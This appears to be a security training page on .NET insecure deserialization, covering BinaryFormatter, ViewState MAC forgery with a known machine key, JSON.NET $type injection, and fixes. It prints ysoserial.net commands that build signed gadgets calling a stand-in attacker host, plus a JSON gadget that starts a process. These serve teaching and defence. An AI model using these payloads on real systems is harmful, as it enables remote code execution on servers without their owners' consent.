Insecure Deserialization: From Serialized Blob to Remote Code Execution
.NET Deserialization and ViewState
How .NET deserialization becomes RCE: BinaryFormatter and ObjectStateFormatter, __VIEWSTATE and the MAC, ysoserial.net, viewgen, and JSON.NET typing.
Published
.NET deserialization mirrors Java: dangerous formatters rebuild attacker-chosen types, and ysoserial.net supplies the gadget chains. The signature feature here is ASP.NET ViewState, which is exploitable once the machine key is known. This page covers the formatters, ViewState, and the tools. Practice on a free live target.
The dangerous formatters
Several .NET serializers rebuild arbitrary types and are unsafe on untrusted input:
BinaryFormatter the classic; base64 often starts AAEAAAD
LosFormatter used by ViewState internally
ObjectStateFormatter the ViewState formatter
NetDataContractSerializer / SoapFormatter other type-aware serializersA base64 blob starting AAEAAAD is a BinaryFormatter stream.
__VIEWSTATE and the MAC
ASP.NET Web Forms store page state in a __VIEWSTATE hidden field, serialized with ObjectStateFormatter. By default it is protected by a MAC using the app's machine key, so the server rejects tampered ViewState. The attack unlocks when that key is known or leaked:
__VIEWSTATE=... hidden field carrying the serialized page state
MAC protection default; needs the machine key to forge
machine key leak source disclosure, web.config exposure, default/weak keyGenerate a gadget with ysoserial.net
With the key in hand, ysoserial.net signs a ViewState gadget the server will accept:
# ViewState, machine key known (--generator is the HEX VALUE from the __VIEWSTATEGENERATOR field)
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping attacker.oast" \
--generator=CA0B0334 --validationkey=<KEY> --validationalg=HMACSHA256 \
--path="/page.aspx" --apppath="/"
# raw BinaryFormatter gadget
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "ping attacker.oast" -o base64Use the algorithm the app actually configures: modern ASP.NET (4.5+) defaults to HMACSHA256, not SHA1, and a mismatch fails the MAC. --path/--apppath must match the target page for the MAC to verify in non-root apps. TypeConfuseDelegate needs System.Windows.Forms, so it is .NET Framework / Windows only. viewgen is a lightweight alternative focused on crafting and validating ViewState. Deliver the payload through the __VIEWSTATE field (or the deserialized body) and confirm out of band.
JSON.NET type-name handling
JSON is not automatically safe on .NET. If TypeNameHandling is set to anything but None, a $type property lets the attacker name the class to instantiate:
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList, mscorlib","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}That reopens gadget chains over plain JSON. The point is the $type injection, not this exact class: a working chain needs the named assemblies to be loaded (PresentationFramework is WPF, absent on ASP.NET Core and Linux), the correct assembly qualifier for the runtime (System.Diagnostics.Process moves assembly on .NET 5+), and MethodParameters to pass the command, so in practice you let ysoserial.net generate the gadget for the target. The fix is to leave TypeNameHandling at None.
Edge variants
-g TypeConfuseDelegate the common ViewState/BinaryFormatter gadget
--validationalg=HMACSHA256 match the app's configured algorithm
unprotected ViewState enableViewStateMac=false means no key needed (rare, legacy)
JSON.NET $type TypeNameHandling != None is injectableFixing it
- Avoid
BinaryFormatterand the type-aware formatters on untrusted input. Microsoft deprecatedBinaryFormatterin .NET 5, disabled it by default in .NET 7 (it throws at runtime), and removed it in .NET 9, so a gadget only reaches it on .NET Framework or an app that explicitly re-enables it. - Keep ViewState MAC enabled and the machine key secret, and rotate it if it may have leaked.
- Leave JSON.NET
TypeNameHandlingatNoneand parse into fixed types.
Full guidance is in preventing insecure deserialization. Next, the one that is RCE by design in Python pickle, or try ViewState on a free lab.
← Back to Insecure Deserialization: From Serialized Blob to Remote Code Execution